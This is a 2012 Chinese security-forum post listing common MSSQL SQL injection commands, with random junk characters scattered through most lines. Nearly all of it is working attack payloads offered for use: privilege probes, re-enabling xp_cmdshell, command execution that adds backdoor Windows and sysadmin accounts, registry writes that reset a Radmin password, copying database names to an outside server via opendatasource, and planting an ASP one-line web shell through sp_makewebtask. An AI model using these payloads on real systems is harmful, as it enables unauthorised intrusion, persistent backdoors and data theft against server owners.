找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2000|回复: 0
打印 上一主题 下一主题

常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:40:13 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
//看看是什么权限的
* I7 L# U3 N8 h  g& e% ?2 land 1=(Select IS_MEMBER('db_owner'))
( v% F$ L( H3 iAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
) Q6 \' E( o0 B
" z8 ^8 M( m9 B( s//检测是否有读取某数据库的权限' @0 _9 H' T0 Y2 Y/ x+ x1 z; c, o
and 1= (Select HAS_DBACCESS('master'))  D- N6 t9 z$ |+ W! O
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
" M# ~6 p) b& ?! R
4 V( h" e2 |2 d
" ]+ D" }( @- \" }数字类型
6 B: Q. [# ?/ b+ \) |/ {and char(124)%2Buser%2Bchar(124)=0' ?# M  |# _: R, P7 l% J
+ R8 b% A4 A  _& ?7 V$ d
字符类型5 A% }" {* _( T$ b) E, x" W, T
' and char(124)%2Buser%2Bchar(124)=0 and ''='
" R8 W+ a0 g! Q4 I0 g
1 ^! w4 I& e; `/ n& `' v搜索类型* W) t! s. t1 W
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
8 P$ g$ t9 W  p0 ?& z+ D
6 j/ N% {( w9 Q0 }( ?- f爆用户名( Y. A6 w6 a& X4 n
and user>0
1 a0 ^5 X) }. ?$ S' d& D' and user>0 and ''='
3 C8 N- J  z9 ^7 Q/ m& Q  |
- v- c. C: e' J* j* [% X检测是否为SA权限
" o: L9 Y" X, _/ z# Z& S6 \( Wand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
6 T+ m( ~! j: {$ A5 Q4 b( W0 [8 sAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
0 p$ o( p& s9 J8 L. {, y- O& i$ E) u5 w
检测是不是MSSQL数据库: q% {0 K2 X  V8 i& V
and exists (select * from sysobjects);--
3 n; z8 m: P, v  d. V) z( c- p
# m* L, _$ E& G1 N" G+ _检测是否支持多行- f! L) P# K, k3 z9 M% Y
;declare @d int;--
* K' W$ X  [; t: E' \2 n, l7 O6 |! J2 `1 [( F
恢复 xp_cmdshell
% [0 E: I+ u" _0 V% q;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
+ z. A0 c! f; O! C
) V- _) x# ~! H* S8 \1 v7 o3 y% B$ \! A5 O3 [3 G
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')- Y% ?% p. t$ o5 r

. F  h- u- Z8 B- h  ~; ]1 \4 n//-----------------------
  {! T, t% q. s3 u/ E3 C( C//       执行命令8 U* \4 V) F) G& z0 @( m# N8 l
//-----------------------: I) q; X: S+ H( J( c0 o6 Y6 o& {5 R1 {
首先开启沙盘模式:
# A8 C6 z5 O( z7 g. _- n  Xexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
: y/ v( ], b1 \3 O8 L- B7 O4 B
然后利用jet.oledb执行系统命令+ A! w1 ~0 }4 c+ n6 S6 b: N' _! b
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')+ Y* M, |. e7 j! c4 p
" ^( w4 `3 l* h7 s
执行命令% ]5 K# V" R/ p2 b% V5 i* a+ d. s% t
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
& Z. O+ Q! T) d" K$ s+ f' X; w$ T( U" P
; S9 |9 q3 D9 o: [4 BEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'! S5 D$ S9 Y9 h1 y
% N- U' W) b  \' Q4 x1 {
判断xp_cmdshell扩展存储过程是否存在:
% N& n- L( B1 P% u% v0 ehttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
0 @- j% R4 ^6 h' A2 a7 s" P3 D! n/ Z! t0 K5 M
写注册表
# M' B4 K; U) o' \0 Dexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1' J6 [, t: W; b% }  Y

, M( R" V. B) D3 r- NREG_SZ
* G5 V  H9 w* _2 \+ E8 t' M
4 h' c7 m8 s5 D0 F7 r2 M5 g( t读注册表& Z4 v9 X5 O3 z# k1 e) {
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'! \3 S- H& E" |- a

9 H+ U/ K9 u( V* J读取目录内容
. b" M3 ?  s9 v. Dexec master..xp_dirtree 'c:\winnt\system32\',1,1
1 ^& j" [6 \; U# B* U7 u
5 B" J% _1 U, T. V+ m* l
# E8 G- M$ [/ k% {3 |: t数据库备份' ~! i7 k& T6 ^5 m3 o/ _6 X
backup database pubs to disk = 'c:\123.bak'
2 L' O5 C+ z5 U2 _& H
6 E3 I: d/ j2 t) p//爆出长度
, l  c& X" z4 p0 A9 S7 r' _And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--7 Y/ ?. }) F& ]5 X; F+ T8 k" k: A

' X. F. G) ]4 b/ r7 x# z) H  u" [  m5 y3 j- w

6 q* C" {; M" ?: X8 `更改sa口令方法:用sql综合利用工具连接后,执行命令:
* f( L) h5 N, R' ~) r- H7 m) sexec sp_password NULL,'新密码','sa'8 J) w0 t' t# J; ^4 j5 m; K; K" C
  r$ Z: U  b$ R% o4 v( |8 ~
添加和删除一个SA权限的用户test:
1 q8 D( E+ u3 ?exec master.dbo.sp_addlogin test,95307722 x* u9 U8 D" d* r: Z4 w! o
exec master.dbo.sp_addsrvrolemember test,sysadmin
5 ]4 H* K! N6 }3 m3 P, H, Q9 V% T6 L
: z/ o/ u* y  j! V删除扩展存储过过程xp_cmdshell的语句:. |7 W! F  l! i5 k
exec sp_dropextendedproc 'xp_cmdshell'
7 C8 {- x8 Q0 a4 S: ?9 L
8 w* X9 u( r! Q& s: k添加扩展存储过过程! Q) m+ S' F8 s+ t
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'1 o* `$ s" f/ H. l, t5 A. j
GRANT exec On xp_proxiedadata TO public8 k2 U6 }3 Z5 d) j* M- l' v( H! n
6 [/ |8 s+ Q; h

) _0 b1 X9 `. ^! U0 ?: i/ r; `停掉或激活某个服务。$ j7 f* @# @+ P; R$ V
  z6 B6 t/ I* c" y. j2 H5 H% {
exec master..xp_servicecontrol 'stop','schedule'
7 C2 G) T( T* W. C4 V6 L5 w, Qexec master..xp_servicecontrol 'start','schedule'
: Q; ~0 U7 h4 b
" b# Z$ a0 A0 {3 r8 U7 `' n/ q  ldbo.xp_subdirs
5 V& l9 X- W4 Q6 ^6 F( S/ g$ Z+ X0 t
只列某个目录下的子目录。' {3 ]% q% `8 {2 z
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
6 J) {; M8 S. E) r. t, S8 S" r& }- p6 }/ z; \3 ^# J* U
dbo.xp_makecab- e) t4 l$ P) \6 |2 n9 j

* X/ L9 s4 q2 T2 ^5 ^7 f- ?将目标多个档案压缩到某个目标档案之内。& u* K4 t  L( x9 l9 @
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。6 y' G- b! h1 L; J1 N3 b
* m  G2 ?2 e5 W/ |9 C# Q8 G" m0 O8 G
dbo.xp_makecab. _) w# ]$ }$ H3 e  `0 a, a
'c:\test.cab','mszip',1,
% c# E. x# B: s" U' \- M'C:\Inetpub\wwwroot\SQLInject\login.asp',/ W7 V: q8 t0 z6 o
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'4 a) f7 g: c, ^' K8 w: H4 e5 P; H
" `: Q3 \/ J3 ~4 S* D
xp_terminate_process( P+ ]' ?) m2 q' J2 o

& ]7 t0 N. g, p" e9 T  |停掉某个执行中的程序,但赋予的参数是 Process ID。
0 b+ @8 D, U# X" m: u- D) n利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
. p  N+ b1 ~2 q0 E6 H0 o* m4 N) t
$ G1 S8 x: [% Oxp_terminate_process 2484
0 Q; g3 x# U6 X; \0 F& s# b7 n4 L' Y" K
xp_unpackcab
! j4 [8 x- I" B$ e/ S6 g
) v- k- G0 f0 y( d. Y; f5 ?解开压缩档。) v% J- M) y& A8 @

0 n; M- p4 @: D( x' E3 axp_unpackcab 'c:\test.cab','c:\temp',1# h9 o# l) I1 Q$ N, F
" u% ^( F1 d9 T( N) J! D" D

' }8 j" P- x* B3 K; L某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234) \+ B' I/ P" ^+ K

+ `  @& g) a; k% P6 y! T6 A& _& Acreate database lcx;
6 I- }9 w: I; l6 ~Create TABLE ku(name nvarchar(256) null);; }' K: h* Y- M$ \0 T" D/ J4 ~/ C
Create TABLE biao(id int NULL,name nvarchar(256) null);) G1 V8 \' Z4 @! ?* O1 i/ p9 z
: ?2 C9 n+ B2 B! X3 K6 F: z
//得到数据库名
. U- u$ e/ U7 J7 Jinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases7 z8 K. S( O$ b# }* g' D6 S
  \0 l- w& i+ d) x4 p
9 r$ P  W# [( M8 X1 k
//在Master中创建表,看看权限怎样
- u6 {. x6 j3 p$ y$ eCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
  e. `' Q% h! I8 q- }4 `1 F" g7 f
用 sp_makewebtask直接在web目录里写入一句话马:; ^1 Z! h) L7 ?( l) z; U# S
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--$ s& r6 E) d+ R! b, j& G" a6 c4 g
; x- ^$ ?& M' t/ y% W) K2 Z$ u
//更新表内容
  T9 l1 Y0 _  e# _, U. D2 s1 @Update films SET kind = 'Dramatic' Where id = 123! p( k# o1 D: ~& D. B
! M6 L2 R% t. o+ v+ C3 }0 i
//删除内容# w5 F. x  c/ g
delete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表